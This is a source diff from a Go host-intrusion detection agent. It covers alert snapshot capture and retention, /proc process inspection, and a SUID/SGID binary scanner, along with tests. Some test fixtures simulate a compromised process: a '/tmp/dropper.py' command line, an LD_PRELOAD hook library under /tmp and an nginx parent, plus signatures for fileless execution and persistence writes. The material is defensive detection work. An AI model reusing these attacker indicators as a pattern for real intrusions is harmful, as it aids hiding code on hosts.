for _, path := range []string{base + ".json", base + ".log"} {
if err := os.Remove(path); err != nil && !os.IsNotExist(err) {
return fmt.Errorf("remove expired snapshot: %w", err)
}
}
return nil
}
func formatText(report Report) string {
var output strings.Builder
fmt.Fprintln(&output, "=== ENODIA SENTINEL ALERT ===")
fmt.Fprintln(&output, "Time: ", report.Time)
fmt.Fprintln(&output, "Host: ", report.Host)
fmt.Fprintln(&output, "Severity:", report.Severity)
fmt.Fprintln(&output, "\n## Triggering detections")
for _, alert := range report.Alerts {
fmt.Fprintf(&output, " [%s] sid:%d %s (%s) — %s\n", alert.Severity, alert.SID, alert.Signature, alert.Classtype, alert.Detail)
}
fmt.Fprintln(&output, "\n## Flagged process detail")
for _, process := range report.Processes {
fmt.Fprintf(&output, " pid:%d comm:%s exe:%s ppid:%d uid:%d cmdline:%s\n", process.PID, process.Comm, process.Exe, process.PPID, process.UID, process.Cmdline)
}
if len(report.Processes) == 0 {
fmt.Fprintln(&output, " (no specific pid in alerts)")
}
return output.String()
}
func collectProcess(procRoot string, pid int) ProcessDetail {
base := filepath.Join(procRoot, strconv.Itoa(pid))
detail := ProcessDetail{PID: pid, FDs: map[string]string{}}
detail.Comm = readText(filepath.Join(base, "comm"))
detail.Cmdline = strings.TrimSpace(strings.ReplaceAll(readRaw(filepath.Join(base, "cmdline")), "\x00", " "))
detail.Exe = readLink(filepath.Join(base, "exe"))
detail.CWD = readLink(filepath.Join(base, "cwd"))
status := readRaw(filepath.Join(base, "status"))
for _, line := range strings.Split(status, "\n") {
fields := strings.Fields(line)
if len(fields) < 2 {
continue
}
switch fields[0] {
case "PPid:":
detail.PPID, _ = strconv.Atoi(fields[1])
case "Uid:":
detail.UID, _ = strconv.Atoi(fields[1])
}
}
detail.PPIDComm = readText(filepath.Join(procRoot, strconv.Itoa(detail.PPID), "comm"))
for _, item := range strings.Split(readRaw(filepath.Join(base, "environ")), "\x00") {
if strings.HasPrefix(item, "LD_PRELOAD=") {
detail.LDPreload = strings.TrimPrefix(item, "LD_PRELOAD=")
}
}
entries, _ := os.ReadDir(filepath.Join(base, "fd"))
sort.Slice(entries, func(i, j int) bool {
left, leftErr := strconv.Atoi(entries[i].Name())
right, rightErr := strconv.Atoi(entries[j].Name())
if leftErr == nil && rightErr == nil {
return left < right
}
return entries[i].Name() < entries[j].Name()
})
for _, entry := range entries {
if len(detail.FDs) >= 40 {
break
}
if target := readLink(filepath.Join(base, "fd", entry.Name())); target != "" {
detail.FDs[entry.Name()] = target
}
}
return detail
}
func readRaw(path string) string {
raw, _ := os.ReadFile(path)
return string(raw)
}
func readText(path string) string { return strings.TrimSpace(readRaw(path)) }
func readLink(path string) string {
target, _ := os.Readlink(path)
return target
}

View file

@ -0,0 +1,207 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package snapshot
import (
"encoding/json"
"os"
"path/filepath"
"testing"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestCaptureEventWritesCompatiblePairAndMergesSameSecond(t *testing.T) {
store, err := New(t.TempDir(), "/unused", 10, 30)
if err != nil {
t.Fatal(err)
}
store.Collect = func(pid int) ProcessDetail {
return ProcessDetail{PID: pid, Comm: "python3", PPID: 1, UID: 1000, FDs: map[string]string{"1": "socket:[9]"}}
}
first := alertEvent("2026-07-22T10:11:12.100-07:00", model.Alert{
SID: 100069, Severity: "HIGH", Signature: "host_rule.persistence-write",
Classtype: "persistence-write", Key: "one", Detail: "first", PIDs: []int{42},
})
second := alertEvent("2026-07-22T10:11:12.900-07:00", model.Alert{
SID: 100001, Severity: "CRITICAL", Signature: "exec_rule.fileless",
Classtype: "execution", Key: "two", Detail: "second", PIDs: []int{7, 42},
})
name, err := store.CaptureEvent(first)
if err != nil {
t.Fatal(err)
}
if name != "alert-20260722-101112.log" {
t.Fatalf("name=%q", name)
}
if _, err := store.CaptureEvent(second); err != nil {
t.Fatal(err)
}
base := filepath.Join(store.Dir, "alert-20260722-101112")
raw, err := os.ReadFile(base + ".json")
if err != nil {
t.Fatal(err)
}
var report Report
if err := json.Unmarshal(raw, &report); err != nil {
t.Fatal(err)
}
if report.Schema != Schema || report.IncidentID != nil || report.Severity != "CRITICAL" ||
len(report.Alerts) != 2 || len(report.Processes) != 2 || report.Enrichment["source"] != "enodia-sentinel-go" {
t.Fatalf("report=%#v", report)
}
for _, path := range []string{base + ".json", base + ".log"} {
info, err := os.Stat(path)
if err != nil {
t.Fatal(err)
}
if info.Mode().Perm() != 0o600 {
t.Fatalf("%s mode=%#o", path, info.Mode().Perm())
}
}
stats, err := store.SnapshotStats()
if err != nil {
t.Fatal(err)
}
if stats.Total != 1 || stats.Counts["CRITICAL"] != 1 || stats.LastAlert == nil || *stats.LastAlert != first["timestamp"] {
t.Fatalf("stats=%#v", stats)
}
}
func TestRetentionPrunesCountAndAgeAsPairs(t *testing.T) {
store, err := New(t.TempDir(), "/unused", 2, 1)
if err != nil {
t.Fatal(err)
}
store.Collect = func(pid int) ProcessDetail { return ProcessDetail{PID: pid, FDs: map[string]string{}} }
now := time.Date(2026, 7, 22, 12, 0, 0, 0, time.UTC)
store.Now = func() time.Time { return now }
for index, timestamp := range []string{
"2026-07-20T10:00:00Z", "2026-07-22T10:00:01Z", "2026-07-22T10:00:02Z",
} {
event := alertEvent(timestamp, model.Alert{SID: 100010 + index, Severity: "HIGH", Signature: "test", Classtype: "test", Key: "key", Detail: "detail"})
if _, err := store.CaptureEvent(event); err != nil {
t.Fatal(err)
}
base := filepath.Join(store.Dir, "alert-"+mustTime(t, timestamp).Format("20060102-150405"))
mod := now.Add(time.Duration(index-2) * time.Hour)
if index == 0 {
mod = now.Add(-48 * time.Hour)
}
for _, suffix := range []string{".json", ".log"} {
if err := os.Chtimes(base+suffix, mod, mod); err != nil {
t.Fatal(err)
}
}
}
// A final capture runs pruning after the test-controlled mtimes are set.
if _, err := store.CaptureEvent(alertEvent("2026-07-22T10:00:03Z", model.Alert{SID: 100099, Severity: "MEDIUM", Signature: "test", Classtype: "test", Key: "last", Detail: "last"})); err != nil {
t.Fatal(err)
}
jsonFiles, _ := filepath.Glob(filepath.Join(store.Dir, "alert-*.json"))
logFiles, _ := filepath.Glob(filepath.Join(store.Dir, "alert-*.log"))
if len(jsonFiles) != 2 || len(logFiles) != 2 {
t.Fatalf("retained json=%v log=%v", jsonFiles, logFiles)
}
if _, err := os.Stat(filepath.Join(store.Dir, "alert-20260720-100000.json")); !os.IsNotExist(err) {
t.Fatalf("old snapshot not pruned: %v", err)
}
}
func TestNewPrunesExpiredPairBeforeReadiness(t *testing.T) {
directory := t.TempDir()
base := filepath.Join(directory, "alert-20200101-000000")
old := time.Now().Add(-48 * time.Hour)
for _, suffix := range []string{".json", ".log"} {
if err := os.WriteFile(base+suffix, []byte("old"), 0o600); err != nil {
t.Fatal(err)
}
if err := os.Chtimes(base+suffix, old, old); err != nil {
t.Fatal(err)
}
}
if _, err := New(directory, "/unused", 300, 1); err != nil {
t.Fatal(err)
}
for _, suffix := range []string{".json", ".log"} {
if _, err := os.Stat(base + suffix); !os.IsNotExist(err) {
t.Fatalf("expired %s remains: %v", suffix, err)
}
}
probes, _ := filepath.Glob(filepath.Join(directory, ".snapshot-preflight-*"))
if len(probes) != 0 {
t.Fatalf("preflight files remain: %v", probes)
}
}
func TestCaptureRejectsCorruptExistingSnapshot(t *testing.T) {
store, err := New(t.TempDir(), "/unused", 10, 30)
if err != nil {
t.Fatal(err)
}
path := filepath.Join(store.Dir, "alert-20260722-101112.json")
if err := os.WriteFile(path, []byte("broken"), 0o600); err != nil {
t.Fatal(err)
}
_, err = store.CaptureEvent(alertEvent("2026-07-22T10:11:12Z", model.Alert{SID: 1, Severity: "HIGH", Signature: "test", Classtype: "test", Key: "key", Detail: "detail"}))
if err == nil {
t.Fatal("corrupt snapshot accepted")
}
}
func TestCollectProcessBuildsPythonCompatibleContext(t *testing.T) {
procRoot := t.TempDir()
processDir := filepath.Join(procRoot, "42")
parentDir := filepath.Join(procRoot, "7")
if err := os.MkdirAll(filepath.Join(processDir, "fd"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.MkdirAll(parentDir, 0o755); err != nil {
t.Fatal(err)
}
files := map[string]string{
filepath.Join(processDir, "comm"): "python3\n",
filepath.Join(processDir, "cmdline"): "python3\x00/tmp/dropper.py\x00",
filepath.Join(processDir, "status"): "Name:\tpython3\nPPid:\t7\nUid:\t1000\t1000\t1000\t1000\n",
filepath.Join(processDir, "environ"): "HOME=/tmp\x00LD_PRELOAD=/tmp/hook.so\x00",
filepath.Join(parentDir, "comm"): "nginx\n",
}
for path, content := range files {
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
t.Fatal(err)
}
}
for path, target := range map[string]string{
filepath.Join(processDir, "exe"): "/usr/bin/python3",
filepath.Join(processDir, "cwd"): "/tmp",
filepath.Join(processDir, "fd", "1"): "socket:[99]",
} {
if err := os.Symlink(target, path); err != nil {
t.Fatal(err)
}
}
detail := collectProcess(procRoot, 42)
if detail.PID != 42 || detail.Comm != "python3" || detail.Cmdline != "python3 /tmp/dropper.py" ||
detail.Exe != "/usr/bin/python3" || detail.CWD != "/tmp" || detail.PPID != 7 ||
detail.PPIDComm != "nginx" || detail.UID != 1000 || detail.LDPreload != "/tmp/hook.so" ||
detail.FDs["1"] != "socket:[99]" {
t.Fatalf("detail=%#v", detail)
}
}
func alertEvent(timestamp string, alert model.Alert) map[string]any {
return map[string]any{
"schema": "enodia.event.v1", "event_type": "alert", "timestamp": timestamp,
"host": "host-a", "alert": alert,
}
}
func mustTime(t *testing.T, value string) time.Time {
t.Helper()
parsed, err := time.Parse(time.RFC3339Nano, value)
if err != nil {
t.Fatal(err)
}
return parsed
}

View file

@ -0,0 +1,86 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package system
import (
"os"
"path/filepath"
"sort"
"syscall"
)
// ScanSUIDBinaries mirrors Python's deliberately conservative SUID/SGID walk.
// The primary root never crosses a filesystem boundary, while explicitly
// configured writable mounts are walked separately because tmpfs-backed paths
// are exactly where an attacker is likely to drop a privileged binary.
//
// Individual unreadable entries are ignored. Host filesystems are inherently
// racy and permission-sensitive, so one denied subtree must not discard the
// useful portion of a scan.
func ScanSUIDBinaries(root string, extraDirs []string) []string {
if root == "" {
root = "/"
}
result := make(map[string]bool)
rootInfo, err := os.Lstat(root)
if err == nil {
device, ok := deviceID(rootInfo)
if ok {
walkSUID(root, &device, result)
}
}
for _, directory := range extraDirs {
info, err := os.Lstat(directory)
if err != nil || !info.IsDir() {
continue
}
walkSUID(directory, nil, result)
}
paths := make([]string, 0, len(result))
for path := range result {
paths = append(paths, path)
}
sort.Strings(paths)
return paths
}
func walkSUID(root string, requiredDevice *uint64, result map[string]bool) {
stack := []string{root}
for len(stack) > 0 {
directory := stack[len(stack)-1]
stack = stack[:len(stack)-1]
entries, err := os.ReadDir(directory)
if err != nil {
continue
}
for _, entry := range entries {
path := filepath.Join(directory, entry.Name())
info, err := os.Lstat(path)
if err != nil {
continue
}
if info.IsDir() {
if requiredDevice != nil {
device, ok := deviceID(info)
if !ok || device != *requiredDevice {
continue
}
}
stack = append(stack, path)
continue
}
mode := info.Mode()
if mode.IsRegular() && (mode&os.ModeSetuid != 0 || mode&os.ModeSetgid != 0) {
result[path] = true
}
}
}
}
func deviceID(info os.FileInfo) (uint64, bool) {
stat, ok := info.Sys().(*syscall.Stat_t)
if !ok {
return 0, false
}
return uint64(stat.Dev), true
}

View file

@ -0,0 +1,47 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package system
import (
"os"
"path/filepath"
"testing"
)
func TestScanSUIDBinariesFindsPrivilegedRegularFiles(t *testing.T) {
root := t.TempDir()
ordinary := filepath.Join(root, "ordinary")
privileged := filepath.Join(root, "nested", "privileged")
if err := os.MkdirAll(filepath.Dir(privileged), 0o700); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(ordinary, []byte("x"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(privileged, []byte("x"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.Chmod(privileged, 0o755|os.ModeSetuid); err != nil {
t.Fatal(err)
}
got := ScanSUIDBinaries(root, nil)
if len(got) != 1 || got[0] != privileged {
t.Fatalf("unexpected scan: %#v", got)
}
}
func TestScanSUIDBinariesIncludesExtraDirectories(t *testing.T) {
root := t.TempDir()
extra := t.TempDir()
privileged := filepath.Join(extra, "sgid-tool")
if err := os.WriteFile(privileged, []byte("x"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.Chmod(privileged, 0o755|os.ModeSetgid); err != nil {
t.Fatal(err)
}
got := ScanSUIDBinaries(root, []string{extra})
if len(got) != 1 || got[0] != privileged {
t.Fatalf("unexpected extra-dir scan: %#v", got)
}
}